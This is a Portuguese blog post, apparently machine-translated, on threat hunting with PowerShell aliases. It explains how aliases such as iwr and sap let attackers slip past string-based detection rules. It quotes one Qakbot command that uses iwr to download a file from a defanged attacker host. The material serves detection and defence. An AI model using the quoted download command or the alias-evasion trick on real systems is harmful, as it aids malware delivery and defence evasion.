Caça a ameaças e aliases do PowerShell

Neste artigo, discutirei o que são aliases do Powershell e por que é importante mantê-los em mente ao executar atividades de caça a ameaças ou criar regras de detecção.

O que é um pseudônimo?

Como o nome sugere, um Alias ​​é um nome alternativo para um cmdlet ou comando do PowerShell. Depois que o Alias ​​for criado, você poderá usá-lo em vez do comando original.

PS > New-Alias -Name goto -Value Set-Location

O cmdlet Set-Locationé usado para alterar o diretório da pasta atual, depois de executar o comando acima, podemos alternar o diretório simplesmente usando gotoo comando.

Então, agora que sabemos o que são Aliases e como eles funcionam, vamos pular para coisas mais interessantes.

Aliases integrados

Já existem aliases embutidos no Powershell, que você provavelmente está usando sem saber que é de fato um alias, por exemplo:

• curlcomando é um alias embutido paraInvoke-WebRequest
• cdcomando (alterar diretório) é um alias embutido paraSet-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      

       built-in aliases for starting a process
      

      

       List of all cmdlets and its associated alias
      

Os invasores podem usar isso como uma Técnica de Evasão de Defesa contra regras de detecção baseadas em string.

Em uma amostra recente do Qakbot compartilhada por @ pr0xylife , a cadeia de infecção era — .one > .wsf > .cmd > ps > .dll — E o comando Powershell executado estava usando um dos aliases — iwr — paraInvoke-WebRequest

poweRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

Como existem vários aliases não muito conhecidos que podem ser abusados ​​pelo TA, criei uma pequena folha de dicas com alguns dos mais interessantes:

E, finalmente, é assim que Start-Processo comando using sapsaparecerá nos logs de eventos do Sysmon. Podemos confirmar que o alias não está “traduzido” em seu cmdlet original.

É muito comum desenvolver uma regra para detectar uma string específica de cmdlet do Powershell sem incluir todos os seus aliases integrados, o que pode resultar em uma ameaça não detectada.

Espero que você possa ter aprendido algo com este blog.

Obrigado pela leitura e boa caça!